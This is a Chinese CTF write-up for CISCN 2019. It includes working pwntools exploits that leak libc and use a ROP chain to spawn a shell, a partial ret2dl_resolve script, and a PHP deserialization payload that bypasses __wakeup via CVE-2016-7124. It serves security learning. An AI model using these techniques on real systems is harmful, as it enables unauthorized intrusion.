CISCN 2019 writeup

划水做了两个pwn和两个逆向......

二进制题目备份

Re

easyGO

Go语言，输入有Please字样，ida搜索sequence of bytes搜please的hex值找到字符串变量，交叉引用查到主函数是sub_495150，IDA断点动态调试发现直接出现了flag......

 

bbvvmm

用户名方面，Signsrch搜索特征值发现存在sm4加密，然后一个base64加密（加密算法的元素顺序换了）

题目给了Sm4的key

先使用变种base64解密。然后sm4解密得到用户名badrer12。附sm4解密算法

#include <string.h>
#include <stdio.h>
//#include "sm4.h"
#include "time.h"


// Test vector 1
// plain: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// key:   01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
//        round key and temp computing result:
//        rk[ 0] = f12186f9 X[ 0] = 27fad345
//            rk[ 1] = 41662b61 X[ 1] = a18b4cb2
//            rk[ 2] = 5a6ab19a X[ 2] = 11c1e22a
//            rk[ 3] = 7ba92077 X[ 3] = cc13e2ee
//            rk[ 4] = 367360f4 X[ 4] = f87c5bd5
//            rk[ 5] = 776a0c61 X[ 5] = 33220757
//            rk[ 6] = b6bb89b3 X[ 6] = 77f4c297
//            rk[ 7] = 24763151 X[ 7] = 7a96f2eb
//            rk[ 8] = a520307c X[ 8] = 27dac07f
//            rk[ 9] = b7584dbd X[ 9] = 42dd0f19
//            rk[10] = c30753ed X[10] = b8a5da02
//            rk[11] = 7ee55b57 X[11] = 907127fa
//            rk[12] = 6988608c X[12] = 8b952b83
//            rk[13] = 30d895b7 X[13] = d42b7c59
//            rk[14] = 44ba14af X[14] = 2ffc5831
//            rk[15] = 104495a1 X[15] = f69e6888
//            rk[16] = d120b428 X[16] = af2432c4
//            rk[17] = 73b55fa3 X[17] = ed1ec85e
//            rk[18] = cc874966 X[18] = 55a3ba22
//            rk[19] = 92244439 X[19] = 124b18aa
//            rk[20] = e89e641f X[20] = 6ae7725f
//            rk[21] = 98ca015a X[21] = f4cba1f9
//            rk[22] = c7159060 X[22] = 1dcdfa10
//            rk[23] = 99e1fd2e X[23] = 2ff60603
//            rk[24] = b79bd80c X[24] = eff24fdc
//            rk[25] = 1d2115b0 X[25] = 6fe46b75
//            rk[26] = 0e228aeb X[26] = 893450ad
//            rk[27] = f1780c81 X[27] = 7b938f4c
//            rk[28] = 428d3654 X[28] = 536e4246
//            rk[29] = 62293496 X[29] = 86b3e94f
//            rk[30] = 01cf72e5 X[30] = d206965e
//            rk[31] = 9124a012 X[31] = 681edf34
// cypher: 68 1e df 34 d2 06 96 5e 86 b3 e9 4f 53 6e 42 46
//         
// test vector 2
// the same key and plain 1000000 times coumpting 
// plain:  01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// key:    01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
// cypher: 59 52 98 c7 c6 fd 27 1f 04 02 f8 04 c3 3d 3f 66

//#include "sm4.h"
//#include <string.h>
//#include <stdio.h>


/**
 * file sm4.h
 */
#ifndef XYSSL_SM4_H
#define XYSSL_SM4_H

#define SM4_ENCRYPT     1
#define SM4_DECRYPT     0

/**
 * rief          SM4 context structure
 */
typedef struct
{
    int mode;                   /*!<  encrypt/decrypt   */
    unsigned long sk[32];       /*!<  SM4 subkeys       */
}
sm4_context;


#ifdef __cplusplus
extern "C" {
#endif

/**
 * rief          SM4 key schedule (128-bit, encryption)
 *
 * param ctx      SM4 context to be initialized
 * param key      16-byte secret key
 */
void sm4_setkey_enc( sm4_context *ctx, unsigned char key[16] );

/**
 * rief          SM4 key schedule (128-bit, decryption)
 *
 * param ctx      SM4 context to be initialized
 * param key      16-byte secret key
 */
void sm4_setkey_dec( sm4_context *ctx, unsigned char key[16] );

/**
 * rief          SM4-ECB block encryption/decryption
 * param ctx      SM4 context
 * param mode     SM4_ENCRYPT or SM4_DECRYPT
 * param length   length of the input data
 * param input    input block
 * param output   output block
 */
void sm4_crypt_ecb( sm4_context *ctx,
                     int mode,
                     int length,
                     unsigned char *input,
                     unsigned char *output);

/**
 * rief          SM4-CBC buffer encryption/decryption
 * param ctx      SM4 context
 * param mode     SM4_ENCRYPT or SM4_DECRYPT
 * param length   length of the input data
 * param iv       initialization vector (updated after use)
 * param input    buffer holding the input data
 * param output   buffer holding the output data
 */
void sm4_crypt_cbc( sm4_context *ctx,
                     int mode,
                     int length,
                     unsigned char iv[16],
                     unsigned char *input,
                     unsigned char *output );

#ifdef __cplusplus
}
#endif

#endif /* sm4.h */


/*
 * 32-bit integer manipulation macros (big endian)
 */
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i)                             
{                                                       
    (n) = ( (unsigned long) (b)[(i)    ] << 24 )        
        | ( (unsigned long) (b)[(i) + 1] << 16 )        
        | ( (unsigned long) (b)[(i) + 2] <<  8 )        
        | ( (unsigned long) (b)[(i) + 3]       );       
}
#endif

#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i)                             
{                                                       
    (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       
    (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       
    (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       
    (b)[(i) + 3] = (unsigned char) ( (n)       );       
}
#endif

/*
 *rotate shift left marco definition
 *
 */
#define  SHL(x,n) (((x) & 0xFFFFFFFF) << n)
#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n)))

#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }

/*
 * Expanded SM4 S-boxes
 /* Sbox table: 8bits input convert to 8 bits output*/
 
static const unsigned char SboxTable[16][16] = 
{
{0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05},
{0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99},
{0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62},
{0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6},
{0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8},
{0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35},
{0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87},
{0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e},
{0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1},
{0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3},
{0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f},
{0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51},
{0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8},
{0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0},
{0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84},
{0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48}
};
/* System parameter */
static const unsigned long FK[4] = {0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc};
/* fixed parameter */
static const unsigned long CK[32] =
{
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};
/*
 * private function:
 * look up in SboxTable and get the related value.
 * args:    [in] inch: 0x00~0xFF (8 bits unsigned value).
 */
static unsigned char sm4Sbox(unsigned char inch)
{
    unsigned char *pTable = (unsigned char *)SboxTable;
    unsigned char retVal = (unsigned char)(pTable[inch]);
    return retVal;
}
/*
 * private F(Lt) function:
 * "T algorithm" == "L algorithm" + "t algorithm".
 * args:    [in] a: a is a 32 bits unsigned value;
 * return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
 */
static unsigned long sm4Lt(unsigned long ka)
{
    unsigned long bb = 0;
    unsigned long c = 0;
    unsigned char a[4];
    unsigned char b[4];
    PUT_ULONG_BE(ka,a,0)
    b[0] = sm4Sbox(a[0]);
    b[1] = sm4Sbox(a[1]);
    b[2] = sm4Sbox(a[2]);
    b[3] = sm4Sbox(a[3]);
    GET_ULONG_BE(bb,b,0)
    c =bb^(ROTL(bb, 2))^(ROTL(bb, 10))^(ROTL(bb, 18))^(ROTL(bb, 24));
    return c;
}
/*
 * private F function:
 * Calculating and getting encryption/decryption contents.
 * args:    [in] x0: original contents;
 * args:    [in] x1: original contents;
 * args:    [in] x2: original contents;
 * args:    [in] x3: original contents;
 * args:    [in] rk: encryption/decryption key;
 * return the contents of encryption/decryption contents.
 */
static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk)
{
    return (x0^sm4Lt(x1^x2^x3^rk));
}
/* private function:
 * Calculating round encryption key.
 * args:    [in] a: a is a 32 bits unsigned value;
 * return: sk[i]: i{0,1,2,3,...31}.
 */
static unsigned long sm4CalciRK(unsigned long ka)
{
    unsigned long bb = 0;
    unsigned long rk = 0;
    unsigned char a[4];
    unsigned char b[4];
    PUT_ULONG_BE(ka,a,0)
    b[0] = sm4Sbox(a[0]);
    b[1] = sm4Sbox(a[1]);
    b[2] = sm4Sbox(a[2]);
    b[3] = sm4Sbox(a[3]);
    GET_ULONG_BE(bb,b,0)
    rk = bb^(ROTL(bb, 13))^(ROTL(bb, 23));
    return rk;
}
static void sm4_setkey( unsigned long SK[32], unsigned char key[16] )
{
    unsigned long MK[4];
    unsigned long k[36];
    unsigned long i = 0;
    GET_ULONG_BE( MK[0], key, 0 );
    GET_ULONG_BE( MK[1], key, 4 );
    GET_ULONG_BE( MK[2], key, 8 );
    GET_ULONG_BE( MK[3], key, 12 );
    k[0] = MK[0]^FK[0];
    k[1] = MK[1]^FK[1];
    k[2] = MK[2]^FK[2];
    k[3] = MK[3]^FK[3];
    for(; i<32; i++)
    {
        k[i+4] = k[i] ^ (sm4CalciRK(k[i+1]^k[i+2]^k[i+3]^CK[i]));
        SK[i] = k[i+4];
    }
}
/*
 * SM4 standard one round processing
 *
 */
static void sm4_one_round( unsigned long sk[32],
                    unsigned char input[16],
                    unsigned char output[16] )
{
    unsigned long i = 0;
    unsigned long ulbuf[36];
    memset(ulbuf, 0, sizeof(ulbuf));
    GET_ULONG_BE( ulbuf[0], input, 0 )
    GET_ULONG_BE( ulbuf[1], input, 4 )
    GET_ULONG_BE( ulbuf[2], input, 8 )
    GET_ULONG_BE( ulbuf[3], input, 12 )
    while(i<32)
    {
        ulbuf[i+4] = sm4F(ulbuf[i], ulbuf[i+1], ulbuf[i+2], ulbuf[i+3], sk[i]);
// #ifdef _DEBUG
//            printf("rk(%02d) = 0x%08x,  X(%02d) = 0x%08x 
",i,sk[i], i, ulbuf[i+4] );
// #endif
        i++;
    }
    PUT_ULONG_BE(ulbuf[35],output,0);
    PUT_ULONG_BE(ulbuf[34],output,4);
    PUT_ULONG_BE(ulbuf[33],output,8);
    PUT_ULONG_BE(ulbuf[32],output,12);
}
/*
 * SM4 key schedule (128-bit, encryption)
 */
void sm4_setkey_enc( sm4_context *ctx, unsigned char key[16] )
{
    ctx->mode = SM4_ENCRYPT;
    sm4_setkey( ctx->sk, key );
}
/*
 * SM4 key schedule (128-bit, decryption)
 */
void sm4_setkey_dec( sm4_context *ctx, unsigned char key[16] )
{
    int i;
    ctx->mode = SM4_ENCRYPT;
    sm4_setkey( ctx->sk, key );
    for( i = 0; i < 16; i ++ )
    {
        SWAP( ctx->sk[ i ], ctx->sk[ 31-i] );
    }
}
/*
 * SM4-ECB block encryption/decryption
 */
void sm4_crypt_ecb( sm4_context *ctx,
                   int mode,
                   int length,
                   unsigned char *input,
                   unsigned char *output)
{
    while( length > 0 )
    {
        sm4_one_round( ctx->sk, input, output );
        input  += 16;
        output += 16;
        length -= 16;
    }
}
/*
 * SM4-CBC buffer encryption/decryption
 */
void sm4_crypt_cbc( sm4_context *ctx,
                    int mode,
                    int length,
                    unsigned char iv[16],
                    unsigned char *input,
                    unsigned char *output )
{
    int i;
    unsigned char temp[16];
    if( mode == SM4_ENCRYPT )
    {
        while( length > 0 )
        {
            for( i = 0; i < 16; i++ )
                output[i] = (unsigned char)( input[i] ^ iv[i] );
            sm4_one_round( ctx->sk, output, output );
            memcpy( iv, output, 16 );
            input  += 16;
            output += 16;
            length -= 16;
        }
    }
    else /* SM4_DECRYPT */
    {
        while( length > 0 )
        {
            memcpy( temp, input, 16 );
            sm4_one_round( ctx->sk, input, output );
            for( i = 0; i < 16; i++ )
                output[i] = (unsigned char)( output[i] ^ iv[i] );
            memcpy( iv, temp, 16 );
            input  += 16;
            output += 16;
            length -= 16;
        }
    }
}
int main()
{
    unsigned char key[16] = {0xDA,0x98,0xF1,0xDA,0x31,0x2A,0xB7,0x53,0xA5,0x70,0x3A,0xB,0xFD,0x29,0xD,0xD6};
    unsigned char input[16] = {0x33,0x31,0x33,0x32,0x33,0x33,0x33,0x34,0x33,0x35,0x33,0x36,0x33,0x37,0x33,0x38};
    unsigned char output[16];
    unsigned char output1[16]={0xEF,0x46,0x8D,0xBA,0xF9,0x85,0xB2,0x50,0x9C,0x9E,0x20,0x0C,0xF3,0x52,0x5A,0xB6};
    
    sm4_context ctx;
    unsigned long i;
    int a,b,c;
    //encrypt standard testing vector
    sm4_setkey_enc(&ctx,key);
    sm4_crypt_ecb(&ctx,1,16,input,output);
    printf("加密数据:
");
    for(i=0;i<16;i++)
        printf("%02x ", output[i]);
    printf("
");
    //decrypt testing         //加密秘钥
    sm4_setkey_dec(&ctx,key);
    printf("解密数据:
");
    sm4_crypt_ecb(&ctx,0,16,output1,output1);
    //printf("key:");
    for(i=0;i<16;i++)
        printf("%c", output1[i]);
    printf("
");
    //decrypt 1M times testing vector based on standards.
    i = 0;
    a=clock();
    sm4_setkey_enc(&ctx,key);
    while (i<10000) 
    {
        sm4_crypt_ecb(&ctx,1,16,input,input);
        i++;
    }
    b=clock();
    c=b-a;
    for(i=0;i<16;i++)
        printf("%02x ", input[i]);
    printf("
");
    printf("c=%dms
",c);
    sm4_setkey_dec(&ctx,key);
    while (i<1000000) 
    {
        sm4_crypt_ecb(&ctx,1,16,output,output);
        i++;
    }
    for(i=0;i<16;i++)
        printf("%02x ", output[i]);
    printf("
");
    return 0;
}

Key值在内存中被打印，IDA下断点动态执行dump密码值

得到密码是xyz{|}

因为换行占用字符，使用脚本提交用户名密码

#!/usr/bin/env python
#-*- coding:utf-8 -*
from pwn  import *# s=process('./bbvvmm')
s=remote('39.106.224.151',10001)
s.recvuntil('Username:')
s.sendline('badrer12')
s.recvuntil('Password:')
s.send('xyz{|}')
print s.recv()
print s.recv()

Pwn

your_pwn

V4边界可读可写，先泄露libc基址然后构造rop（pop_rdi地址+binsh地址+system地址）覆盖返回地址即可得到flag

#!/usr/bin/env python
#-*- coding:utf-8 -*
from pwn  import *
from LibcSearcher import *
context.log_level = 'debug'
context.binary='./pwn'
elf=context.binary
libc = elf.libc

def leak(offset, change):
    s.recvuntil("input index")
    s.sendline(str(offset))
    s.recvuntil("(hex)")
    temp=int(s.recvline(),16)
    if temp > 0xff :
        temp =temp & 0xff
    s.sendline(str(temp))
    #print hex(temp)
    return temp 
def deal(offset, change):
    s.recvuntil("input index")
    s.sendline(str(offset))
    s.recvuntil("(hex)")
    temp=int(s.recvline(),16)
    if temp > 0xff :
        temp =temp & 0xff
    s.sendline(str(temp+2))
    #print hex(temp)
    return temp 
def ch(offset,data):
    s.recvuntil("input index")
    s.sendline(str(offset))
    s.recvuntil("(hex)")
    temp=int(s.recvline(),16)
    s.sendline(str(data))
    #print hex(temp)
    return temp 

libc_off=632
libc = ELF('/home/vicen/libc-database/db/libc6_2.23-0ubuntu10_amd64.so')

#s=process('./pwn')
#gdb.attach(s,'''b puts''')
s=remote('bdd3dd2bf77c76d516f9e715c96cb1fa.kr-lab.com',57856)
#payload= 

s.recvuntil('name:')
s.sendline('1')
sum=0
for i in range(5,-1,-1):
    sum=sum<<8
    a=leak(libc_off+i,0)
    sum+=a
__libc_start_main=sum-240
print('__libc_start_main:' + hex(__libc_start_main))
libc.address = __libc_start_main - libc.symbols['__libc_start_main']
system = libc.symbols['system']
print('system:' + hex(system))
binsh = next(libc.search('/bin/sh'))
print('binsh_addr:' + hex(binsh))
pop_rdi=0x000d03
deal(345,0)
ch(344,3)
p=binsh
for i in range(0,6):
    a=p & 0xff
    #print hex(a)
    ch(352+i,a)
    p=p>>8
print '2222'
p=system
for i in range(0,6):
    a=p & 0xff
    ch(360+i,a)
    p=p>>8
ch(0,'a')
s.interactive()

baby_pwn

参考https://blog.csdn.net/zszcr/article/details/80011174，32位下利用_dl_runtim_resolve函数

#!/usr/bin/env python

# coding=utf-8

from pwn import*

from roputils import*

 

#p=process('./pwn')

p=remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)

context.log_level="debug"

rop=ROP('./pwn')

offset=44

bss_base = rop.section('.bss')

队友题解部分：

Crypto

puzzles

给了4部分题目，依次计算。数学部分用Wolfram Alpha计算就好了，物理题只能手动算。其中Part1为26364809 Part1 26366033 26366621，猜测是等差数列，相差588，应该是26365397，后来发现不对。仔细观察，发现全是素数，盲猜是离26365397最近的素数，为26365399。然后合并答案，过了。

 

Web

JustSoso

首先盲测有flag.php文件。查看源码，发现有LFI，php://filter读文件，读index.php和hint.php。index.php中禁止我们直接读flag.php，然后可传入payload参数，如果输入的字符串中不包含flag则进行反序列化。hint.php中为具体的类操作，Flag类给出token和token_flag，如果二者相等则显示文件内容，Handle类传入一个类，调用getFlag()方法。

LFI处禁止读flag无法绕过，但反序列化那里可以绕过。parse_url有bug，参考(https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)，parse_url在处理//index.php?.....的URL时会返回False，因此访问的时候要用//index.php访问，同样的file=./hint.php，来造成相对路径。然后进行反序列化。Flag类的getFlag()方法的token_flag会在函数开始时重新赋值，要求token_flag与token相等。可以通过引用来绕过，使得$token_flag=&token，这样token_flag无论如何赋值，二者总是全等，绕过限制。$a=new Flag($file="flag.php");

$a->token_flag=& $a->token;

$b=new Handle($handle=$a);

print((serialize($b)));

还有一个问题，Handle类中的__wakeup()函数会置空传入类的所有属性，需要绕过，通过CVE-2016-7124，反序列化时传入对象数目大于实际数目即可。

这样输出的序列化值即为符合要求的答案。最终payload:http://xxxxxx.ichunqiu.com//index.php?file=./hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"334467d41d5cf21e234465a1530ba647";s:10:"token_flag";R:4;}}。(token可任意赋值)

Misc

24C

百度查找24C，发现24C芯片采用I2C协议。使用Saleae Logic Pro打开文件，使用I2C协议解析，发现部分flag。

查阅文档，发现有部分Write指令出现，Write指令以0xA0为标志，下一位数据为地址。据此解析信号。首先从第0x20（32）位开始写字符串”f163bdf4e}”，然后从0x0（0）位开始写字符串”flag{c46d9e10-e9b5-4d90-a883-41c”，遇到NAK，则停止。然后从0x09（9）位的字符串改为”ac”。合并结果。

USBASP

如图所示配置SPI协议.

然后在Decoded Protocols处读flag。

saleae

按照题目名称下载Saleae Logic Pro，打开数据包，发现一大堆波形图，如图所示解析。

然后将二进制转成ASCII码，再转字符。得到flag。